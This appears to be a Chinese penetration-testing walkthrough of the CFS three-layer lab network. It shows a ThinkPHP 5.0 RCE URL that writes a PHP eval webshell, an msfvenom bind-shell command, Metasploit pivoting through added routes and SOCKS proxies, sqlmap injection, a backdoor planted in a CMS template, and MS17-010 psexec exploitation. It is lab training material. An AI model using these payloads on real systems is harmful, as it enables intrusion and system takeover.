一、环境搭建:

根据作者公开的靶机信息整理

共有三个targets,目标是拿下三台主机权限,且是三层的网络环境,内网网段有192.168.22.0/24和192.168.33.0/24,添加两张仅主机模式网卡,配置如下:

虚拟机网卡设置

target1(centos) 双网卡模拟内外网:

外网:192.168.1.3,桥接模式

内网:192.168.22.128,仅主机模式

target2(ubuntu) 双网卡存在两个内网网段:

内网1:192.168.22.22,仅主机模式

内网2:192.168.33.22,仅主机模式

target3(win7) 单网卡仅内网:

内网:192.168.33.33,仅主机模式

开启web服务环境:

宝塔后台登陆地址及密码:

http://靶机外网ip:8888/a768f109/

账号:eaj3yhsl,密码:41bb8fee,根据实际靶机ip,配置即可,我的配置如下:

二、渗透实战:

0x01 target1

信息收集

nmap 192.168.1.3 -sV -T4

访问80端口,发现是thinkphp5.0

②tp5.0 rce Getshell

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

直接使用echo写websehll(注意:linux下使用\转义$,windows下用^转义):

http://192.168.1.3/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval(\$_POST[cmd]);?>" >shell.php

③MSF上线

我这里使用web_delivery模块一句话上线,因为方便,我懒...

利用蚁剑执行即可上线:

横向移动

查看ip信息,发现有两个网卡

添加路由、socks代理,进行横向移动

添加成功

开启socks5代理

 

存活主机探测

发现一台ip为192168.22.22的主机,并且开启了80端口,应该是web服务

ok,target1就到此结束...

0x02 target2

信息收集

proxychains nmap 192.168.22.22 -sT -T4 -Pn

配置浏览器的socks5代理,访问80端口

是一个叫什么八哥CMS搭建的(没听过...)

目录扫描

proxychains dirb http://192.168.22.22/

扫出一个robots.txt,发现有两个admin的目录

发现是一个后台登陆界面,爆破就先不打算(除非万不得已)

等待了一会dirb的扫描结果,也没其他重要的目录,就从页面源代码收集一下信息吧,竟然直接给出了注入点...

注入-->后台登陆

既然给出了注入点,那就直接sqlmap一把梭

proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --batch

但是sqlmap一直无法连接url,就像这样....具体啥原因还不清楚...

所以就换成了超级sql注入工具(可配置socks代理)

获取到admin表的账号密码,解密为:123qwe

然后成功登陆后台

模板Getshell

巡视了一下后台的功能点,发现有熟悉的模板功能,发现可以直接修改文件

修改tag下的index.php文件,插入webshell

蚁剑添加socks代理后连接webshell

⑤MSF上线

生成一个bind正向连接的马

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=6666 -f elf -o test.elf

上传到目标服务器

给执行权限,并执行

MSF开启监听,即可收到会话

set payload linux/x86/meterpreter/bind_tcp
set lport 6666
set rhost 192.168.22.22
run

查看网卡配置,发现又多了一个192.168.33.0/24的网段

添加路由和socks代理

添加多一个socks代理,注意要换一个端口

探测存活主机

发现一台192.168.33.33存活主机

0x03 target3

信息探测

proxychains nmap -Pn -sT -T4 192.168.33.33

开放了445和3389,无疑是windows了

漏洞利用

永恒之蓝肯定要试试的,毕竟emm....舒服嘛hahah,注意payload使用bind直连

使用ms17_010_eternalblue打失败了

尝试另一个利用模块psexec的,成功拿下target3

三、总结:

总体来说这个靶机还是学到了挺多的,完整地体现了,是如何一步步利用跳板代理横向到最深处网络...

①Thinkphp5.x Rce漏洞利用,echo写马地注意事项

②MSF添加路由和socks代理,将Linux主机作为跳板从而横向移动

③八哥CMS的漏洞利用Getshell,sql注入-->后台管理登陆,后台模板Getshell

④Ms17-010的psexec利用模块的使用

⑤典型的三层网络环境,通过利用MSF强大的路由功能,不断添加路由+socks代理,横向移动到最后一层网络

CFS三层网络环境靶场实战的更多相关文章

  1. 《Python3 网络爬虫开发实战》开发环境配置过程中踩过的坑

    <Python3 网络爬虫开发实战>学习资料:https://www.cnblogs.com/waiwai14/p/11698175.html 如何从墙内下载Android Studio: ...

  2. CTF大赛模拟-CFS三层内网漫游

    CTF大赛模拟-CFS三层内网漫游 环境: 三台虚拟机,三个网络. target 1:192.168.161.178 ,192.168.52.132 (linux) target 2:192.168. ...

  3. Neutron 理解 (6): Neutron 是怎么实现虚拟三层网络的 [How Neutron implements virtual L3 network]

    学习 Neutron 系列文章: (1)Neutron 所实现的虚拟化网络 (2)Neutron OpenvSwitch + VLAN 虚拟网络 (3)Neutron OpenvSwitch + GR ...

  4. 用openvswitch配置跨节点的docker网络环境

    在一篇随笔中,我们已经尝试了在不依赖工具的情况下设置docker的ip,连我都想吐槽,MD单机都这么麻烦,在多机的环境中岂不是要了我的小命! 本文就是为了多机环境中各个节点的容器通信而做的,网络拓朴如 ...

  5. 崔庆才Python3网络爬虫开发实战电子版书籍分享

    资料下载地址: 链接:https://pan.baidu.com/s/1WV-_XHZvYIedsC1GJ1hOtw 提取码:4o94 <崔庆才Python3网络爬虫开发实战>高清中文版P ...

  6. 网络知识--OSI七层网络与TCP/IP五层网络架构及二层/三层网络

    作为一个合格的运维人员,一定要熟悉掌握OSI七层网络和TCP/IP五层网络结构知识. 废话不多说!下面就逐一展开对这两个网络架构知识的说明:一.OSI七层网络协议OSI是Open System Int ...

  7. 网络知识梳理--OSI七层网络与TCP/IP五层网络架构及二层/三层网络(转)

     reference:https://www.cnblogs.com/kevingrace/p/5909719.html https://www.cnblogs.com/awkflf11/p/9190 ...

  8. openstack-- neutron 二/三层网络实现探究

    引出 Neutron 是openstack 中提供网络虚拟化的组件,根据二层网络的实现方式不同(即agent的不同),可以分为Linux bridge的方式,Openvswitch的方式.而且,lay ...

  9. openstack neutron 二/三层网络实现

    引用声明:https://zhangchenchen.github.io/2017/02/12/neutron-layer2-3-realization-discovry/ 一.概述 Neutron是 ...

随机推荐

  1. html常用字体

    例1(小米米官网):font-family: "Arial","Microsoft YaHei","黑体","宋体",s ...

  2. 像宝石一样的Java原子类

    十五年前,多处理器系统是高度专业化的系统,通常耗资数十万美元(其中大多数具有两到四个处理器). 如今,多处理器系统既便宜又丰富,几乎主流的微处理器都内置了对多处理器的支持,很多能够支持数十或数百个处理 ...

  3. Java IO(八) PipedInputStream 和 PipedOutputStream

    Java IO(八) PipedInputStream 和 PipedOutputStream 一.介绍 PipedInputStream 和 PipedOutputStream 是管道输入流和管道输 ...

  4. 【RT-Thread笔记】OneNet软件包的使用

    去年,RT-Thread发布了RT-Thread Studio初版RT-ThreadStudio的使用体验,经过不断更新迭代之后,来到了V1.1.0,咱也来拥抱一下新版本. 本篇笔记咱们以接入OneN ...

  5. Rocket - debug - TLDebugModuleInner - HARTINFO

    https://mp.weixin.qq.com/s/9GjZAax0SZhRqLne16jn-w 简单介绍TLDebugModuleInner中HARTINFO寄存器的实现. 1. HARTINFO ...

  6. jchdl - RTL实例 - And2And(结构体嵌套的使用)

    https://mp.weixin.qq.com/s/PQIPkDymvcGc_re8ux50vA   结构体可以嵌套使用.   参考链接 https://github.com/wjcdx/jchdl ...

  7. Java实现 蓝桥杯 算法提高 矩阵乘法(暴力)

    试题 算法提高 矩阵乘法 问题描述 小明最近刚刚学习了矩阵乘法,但是他计算的速度太慢,于是他希望你能帮他写一个矩阵乘法的运算器. 输入格式 输入的第一行包含三个正整数N,M,K,表示一个NM的矩阵乘以 ...

  8. Java实现 LeetCode 698 划分为k个相等的子集(递归)

    698. 划分为k个相等的子集 给定一个整数数组 nums 和一个正整数 k,找出是否有可能把这个数组分成 k 个非空子集,其总和都相等. 示例 1: 输入: nums = [4, 3, 2, 3, ...

  9. Java实现 蓝桥杯 算法训练 大小写转换

    算法训练 大小写转换 时间限制:1.0s 内存限制:512.0MB 提交此题 问题描述 编写一个程序,输入一个字符串(长度不超过20),然后把这个字符串内的每一个字符进行大小写变换,即将大写字母变成小 ...

  10. Java实现 LeetCode 389 找不同

    389. 找不同 给定两个字符串 s 和 t,它们只包含小写字母. 字符串 t 由字符串 s 随机重排,然后在随机位置添加一个字母. 请找出在 t 中被添加的字母. 示例: 输入: s = " ...